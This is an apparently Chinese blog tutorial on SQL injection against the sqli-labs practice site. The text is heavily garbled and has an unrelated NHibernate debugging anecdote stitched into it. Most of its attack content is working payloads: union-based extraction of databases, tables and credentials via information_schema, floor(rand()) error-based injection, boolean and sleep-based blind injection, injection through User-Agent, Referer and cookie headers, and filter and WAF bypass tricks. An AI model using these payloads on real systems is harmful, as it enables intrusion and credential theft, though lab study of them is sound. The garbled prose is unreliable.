作为贰个上学NHibernate的生手,日常会遇见五光十色的奇葩难点,其实那些主题材料的出现恰恰声明了我们本领的供应不能够满足供给,将这几个难题记录下来加以总括相信对我们更为的读书有相当大的拔刀相助。

  在将包裹好的数据插入到数据Curry,运维到提交业务的时候,出现了“OracleParameterCollection
的 Count=9 无效”
的难点,由于平日实体错误的话,在进行登入等操作时会自动报数据库十分等新闻,便未有当即思考到实体设置的谬误而绕了第一次全国代表大会圈子,在思索了各样错误情形下均无果,最终不尴不尬的开掘,其实这么些难点的面世确实与实体有关,是因为在实体关联数据库时一个字段赋值了一遍,而另一个字段并不曾被赋值,导致找不到列9报错。

本实验测验是依赖sqli-labs的实施情状

  日常的话,将数据插入数据库的经过当中最轻巧并发的标题着力都在保存、更新等内容里,在此番的不当令人某些一头雾水绪,进而浪费了一上午的时刻,将项指标快慢大大拖慢,以此谨记。

景况布署:php+mysql

  在前后相继报错的时候最关键的正是留神看她抛出错误的亲力亲为内容,报错的起点是在哪条语句(能够使用将相关语句逐意气风发屏蔽、断点调节和测量试验等艺术)比方要是NHibernate之类的不当首先检验实体是不是书写准确(与数据库相呼应的列、主键的装置等),其次检验一下sql语句是或不是正确,语句中的“select 
* from table ”中的table不是数据库的表名而是实体类的类名。

处境搭建请参照他事他说加以考察

  永无边无际……

 

Sql注入定义:

不畏经过把sql命令插入到web表单提交或输入域名或页面央浼的查询字符串,最终实现期骗服务器推行的sql命令的指标

 

sql注入分类:

据书上说联合查询

依赖错误回显

据悉盲注,分时间盲注和布尔型的盲注

基于user-agent

基于feferer

基于cookie

二次注入

宽字节注入

 

 

 

 

流入一个网址时,我们先要找寻后台组织的查询语句,然后判别是不是留存注入点。

健康的寻觅查询语句的不二秘技是在后头加’ 、 “ 、 ‘)  、 “),看是或不是报错,然后用and 1=1和and 1=2推断是或不是存在注入点,然后根据气象用分化的法子注入。

1.协同查询

通过施行同意气风发将三个表追加到另二个表的操作来组成五个表的查询

首先来打探下mysql的种类函数

user() :当前使用者的用户名

database():当前数据库名

version():数据库版本

datadir:读取数据库的绝对路径

@@vasedir:mysql安装路径

@@version_compile_os:操作系统

concat():连接一个或者多个字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

 

 然后再来精通下union

UNION
用于合併八个或八个 SELECT 语句的结果集,并消去表中任何重复行。
UNION 内部的 SELECT
语句必需具有一样数量的列,列也非得持有相似的数据类型。同时,每条 SELECT
语句中的列的顺序必须一样.暗中同意地,UNION
操作符选用不一样的值。假诺同意再一次的值,请使用 UNION ALL。当 ALL 随 UNION
一齐使用时(即 UNION ALL),不免除重复行

order by
用于对结果集实行排序

 

mysql
5.0本子之后提供了information.schema表,表中记录了数据库中具备的库、表、列等消息

理解Schema,schemata,schema_name,table_schema(那是自身学习进度中最混淆的地点,能够对照phpmyadmin学习)

SCHEMATA表:储存mysql全部数据库的主干新闻,包罗数据库名,编码类型路线等,show
databases的结果取之此表。(个中满含一列schema_name,即数据库名,区别于schema,schema_name只是独有的数码库名)

TABLES表:积攒mysql中的表音讯,(当然也是有数据库名这一列,那样能力找到哪个数据库有怎么样表嘛)包涵那一个表是基本表依旧系统表,数据库的内燃机是什么样,表有多少行,创制时间,最终更新时间等。show
tables from schemaname的结果取之此表(个中积累table_schema,表中的相应的库名消息

table_nama未有差距于差异于tables,只是单纯的表名)

COLUMNS表:提供了表中的列音信,(当然也会有多少库名和表名称这两列)详细表述了某张表的兼具列以致各种列的音讯,包含该列是不行表中的第几列,列的数据类型,列的编码类型,列的权柄,注释等。是show
columns from
schemaname.tablename的结果取之此表(个中包蕴table_schema,表中对应的库名新闻,table_nama表字段对应的表名,columns_name字段对应的字段名

 

找到注入点后,大家用order
by语句查询数据库中留存多少数据表

规定多少个表,为了便利表明,假诺有八个数据表,

  

   order by 3 返回正常

    order by 4返回错误
  
  然后使用and 1=2 union select 1,2,3 %23爆出可以回显敏感信息的位置,假设在2和3上

 

上面大家就要查询敏感信息了,将要动用下面所说的体系函数了

 

and 1=2 union select 1,version(),database()可以爆出当前使用的版本和数据库名

and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出数据库名,依次使用limit2,1往下爆库名,

也可以使用group_concat函数全部爆出来 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 。

咱俩只要个中有flag库。

 

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’ 爆出flag库下的所有的表,假设其中有flagtable表
 
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段,假设有name和password字段
 
and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable爆出flag下的flagtable表的name和password的内容

 

 

2.基于错误回显

 基于错误回显的sql注入就是通过sql语句的冲突性来使数据被回显到页面上

 所用到的函数

count() 统计元祖的个数(相当于求和),如select count(*) from information_schema.tables;

rand()用于产生一个0~1的随机数,如select rand();

floor()向下取整,如select floor(rand()*2);

group by 依据我们想要的规矩对结果进行分组,如select table_name,table_schema from information_schema.tables group by table_name;

group_concat将符合条件的同一列中的不同行数据拼接,如select group_concat(0x3a,0x3a,database(),0x3a);0x3a是十六进制的分号
又因头太长,为了美观,可以起一个别名,select group_concat(0x3a,0x3a,database(),0x3a)name;

大家先将方面包车型地铁组成下,

 select
count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from
information_schema.tables group by
name;先生成随机数,并取证,然后用分号将不一样的数目拼接,并取小名name,最终将结果以name实行分组并拓宽计算,能看出计算出的七个不等的取值,0和1。

再进行多次重复,看一下有关rand()函数与group
by 在mysql中的错误报告,大家正是要动用group by
part of rand() returns duplicate key error那些bug。

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了

公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(schema_name) from information_schema.schemata  ) )name from information_schema.tables group by name)a) %23 爆出所有库名,同上面一样,假设有falg库
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(table_name) from information_schema.tables where table_schema=’flag’  ) )name from information_schema.tables group by name)a) %23 爆出flag下的所有表,假设有flagtable表
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’  ) )name from information_schema.tables group by name)a) %23  爆出flagtable表的所有字段,假设有name和password
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(name,password) from flag.flagtable  ) )name from information_schema.tables group by name)a) %23爆出name和password字段的内容

 

 

3.
 sql盲注

在不精通数据库具体重临值的状态下对数据库中的内容进行猜解,奉行sql注入,常常分为基于布尔和依附时间项指标盲注。

 

3.1
基于布尔型的sql盲注

回来的分界面唯有三种状态,即TRUE和FALSE,那样说并非很确切,因为SQL查询无非就那三种情形,应该算得盲注的时候你不得不获取二个正常化的页面大概是怎么着页面的一纸空文,以至你在查询表的记录进度也不会有体现。

首先通晓几个函数

length()返回字符串的长度

substr()截取字符串

ascii()返回字符的ascii码

connt()统计元祖的个数(相当于求和)如:select count(*)from information_schema.tables;

 

爆数据库的路径and ascii(substr(@@datadir,1,1))>69 %23然后使用二分法一步一步确定。
 
爆所有的数据库名
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit函数爆出的是第二个数据库的第一个字符,同上,假设其中一个库名为flag
 
爆数据库表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 0,1),1,1)))>100 %23假设其中一个表名为flagtable
 
爆出数据库的列名
and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1),1,1)))>100 %23,假设其中列名为name和password
 
爆出列里的数据内容and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1),1,1))>48 %23

与此相类似大家就一步一步的展露数据库的新闻了

 

 

 3.2
基于时间的盲注

web页面包车型地铁重返值只有大器晚成种,true,无论输入任何值,它的归来都会按准确的来管理。到场特定的小时函数,通过翻看是web页面重返的时间差来判别注入的说话是还是不是科学

sleep()函数

实行将次第(进程)挂起风度翩翩段时间

if(expr1,ecpr2,expr3)剖断语句

 

爆库名
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag
 
爆表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3)) %23假设有一表名为flagtable
 
爆列名
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3)) %23,假设爆出列名为name和password
 
爆表中的内容
and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23

 

 

 

4.基于user-agent的注入

 

顾客代理(user
agent)是记录软件程序的客户端新闻的HTTP头字段,他能够用来计算对象和违法左券。在HTTP头中应该包括它,这一个字段的率先个空格前面是软件的产品名称,后边有多少个可选的斜杠和版本号。
并非兼具的应用程序都会被获取到user-agent音讯,可是有个别应用程序利用它存款和储蓄一些音讯(如:购物车)。
HTTP查询实例:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa’ or 1/*

 

大家将火狐设置为地面代理,然后用brup
suite抓包。

图片 1

下一场将包发送到Repeater

在user-Agent修改为’,2,(select 1 from (select
count(*),concat(0x3a,0x3a,(select schema_name from
information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name
from information_schema.tables group by name)a) )# 

图片 2

就暴露了数据库的库名flag了,那是sqli-labs第十八关的测量试验结果,构造爆出表列的口舌和基于错误回显的言语同样,这里就非常的少做表明了。

 

 

5. 基于底部Referer注入

http
referer是header的一片段,当浏览器向web服务器发送诉求的时候,平常会带上referer,告诉服务器本人是从哪个页面链接过来的,服务器以此能够拿走部分音讯用于拍卖

以下测量检验基于sqli-labs第十九关的测量检验结果

图片 3

在referer中输入’,(select 1 from (select
count(*),concat(0x3a,0x3a,(select schema_name from
information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name
from information_schema.tables group by name)a) )# 爆出数据库名称为flag,别的注入语句和上一样。

图片 4

6. 基于cookie的注入

cookie(存款和储蓄在客户本地终端上的数额)有劳动器生成,发给user-agent(日常是浏览器),浏览器会把cookie的key/value保存到有些目录下的文件文件内,下一次倡议同一网址时就能够发送还cookie给服务器(前提是浏览器设置为启用cookie)。cookie名称和值能够有服务器端开辟自身定义,对于jsp来说也足以一直写入jessionid,那样服务器可见该顾客是不是合法顾客以致是不是需求重新登陆等,服务器keyhi设置或读取cookie中蕴涵音信,借此维护客商跟服务器会话中的状态。

 

火狐中插件friebug对其修改,或用burp
suite抓包修改

 

以下测量试验结果凭借sqli-labs
第二十关

在cookie中加单引号测验报错,评释存在注入。然后在cookie中输入’and
(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name
from information_schema.schemata limit
2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables
group by name)a) # 同样爆出的库名flag

图片 5

对于GET和POST的区别:

图片 6

自然,上边所说的全部都是在裸机的动静下的结果,在例行处境下,会微微防护措施。上面介绍些绕过的方法。

1. base64编码

base64编码的妄图是接收陆14个核心的ascii码字符对数码开展重新编码。它将必要编码的数量拆分字节数组。以3个字节为黄金年代组,按顺序排列25人数据,再把贰十一人数据分为4组,即每组6位,再在每组的万丈位前补三个0凑足一个字节,那样把二个3字节为风姿罗曼蒂克组的多少重复编码成4个字节。当所要编码的多寡的字节不是3的板寸倍,那时,在终比异常的大器晚成组填充1到2个0字节。并在结尾编码实现后在最终增多1到2个”=“。

关于那个编码的平整:
①.把3个字符形成4个字符。
②每柒十五个字符加贰个换行符。
③.最后的收尾符也要拍卖。

在火狐的插件heckbar中有此功效

图片 7

1. 过滤关键字符

and ——&&

or  —— ||

 

  空格被过滤

能够应用”%09   %0A   %0C   %0D    %0B”取代,也足以用or和and语句来布局到达闭合语句的效应。

 

 

  union select 过滤

动用大小写绕过,如UNion,SElect

数11遍重复,如ununionion,selselectect

在union select 联合利用被过滤的情事,union all select

 

 

2. WAF选择防护系统

php get
获取参数时有三个特征,当有个别参数被反复赋值时会保留最终一次被赋值时的值。如id=1&id=&2&id=3那时,程序会重临id=3的值,但WAF只对第贰遍的id举行测量试验,假如传入多少个id,那么前面包车型客车id则存在注入漏洞

输入id=1&id=&2&id=3‘就能够产出报错

 

 

叁次注入

流入进度分成多少个部分,语句插入和语句施行。常规的注入中都以将sql语句插入后就能够展现效果,出错或许得出注入结果,而一遍注入的率先步不会爆发任何反响,因为它只是多少个讲话的插入,并未执行,在第二步运营时技能进行第一步插入的语句并出示结果。而那八个点恐怕不在同一职位。

图片 8

那会儿涂改密码,单引号闭合语句,井号注释后边的语句,修改的就不是admin’#的密码了,而是admin的密码

 

宽字节注入

GB2312 , GBK , GB18030
, BIG5 , SHIFT_JIS
等那个都以常说的宽字节(四个字节),ascii便是单字节(一个字节)
GBK编码,他的限量是0x8410~0xFEFE(不包括xx7F)ascii编码,他的编码范围是ascii(0)~ascii(127),别的有二个恢弘ascii打字与印刷字符,他的界定是ascii(128)~ascii(255)

 

addslashes()函数
在每一个字符前增添反斜杠:\

my_sql_real_escape_string()
my_sql_real_escape_string()函数转义sql语句中应用的字符串中的特殊符:\x00 
,  \n  , \r  ,  \  ,  ‘ ,  ”   ,  、x1a

 

id=1,大家在末端家单引号,双引号都回到平常,因为被增加反斜杠或转义了,此时我们能够在测量检验字符前加%bf

id=1%bf’就能够报错了,至于原因,演谈起来比较费心,各位同学去Google也许百度下呢。

是因为小编也是初行家,文中若有不当,请多多原谅,应接各位爱好者共同交换!

相关文章